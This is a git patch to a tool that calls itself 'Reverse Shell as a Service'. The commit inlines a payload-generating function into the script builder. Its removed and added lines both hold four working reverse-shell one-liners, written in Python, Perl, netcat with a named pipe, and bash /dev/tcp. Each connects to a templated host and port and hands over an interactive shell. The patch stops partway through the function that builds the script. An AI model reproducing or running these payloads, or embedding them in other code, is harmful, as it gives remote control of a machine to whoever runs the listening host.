From 4a8c316355f865965f6d9c9938a37dbff2dab752 Mon Sep 17 00:00:00 2001 From: Luke Childs Date: Fri, 2 Feb 2018 12:35:56 +0700 Subject: [PATCH] Don't split payload generation into seperate function --- src/index.js | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/src/index.js b/src/index.js index 33494d4..c00f0c8 100644 --- a/src/index.js +++ b/src/index.js @@ -11,15 +11,13 @@ const usage = `# Reverse Shell as a Service # # 3. Don't be a dick`; -const generatePayloads = (host, port) => ({ - python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`, - perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, - nc: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${host} ${port} >/tmp/f`, - sh: `/bin/sh -i >& /dev/tcp/${host}/${port} 0>&1` -}); - const generateScript = (host, port) => { - const payloads = generatePayloads(host, port); + const payloads = { + python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`, + perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, + nc: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${host} ${port} >/tmp/f`, + sh: `/bin/sh -i >& /dev/tcp/${host}/${port} 0>&1` + }; return Object.keys(payloads).reduce((acc, cmd) => { acc += `if command -v ${cmd} > /dev/null 2>&1; then\n` +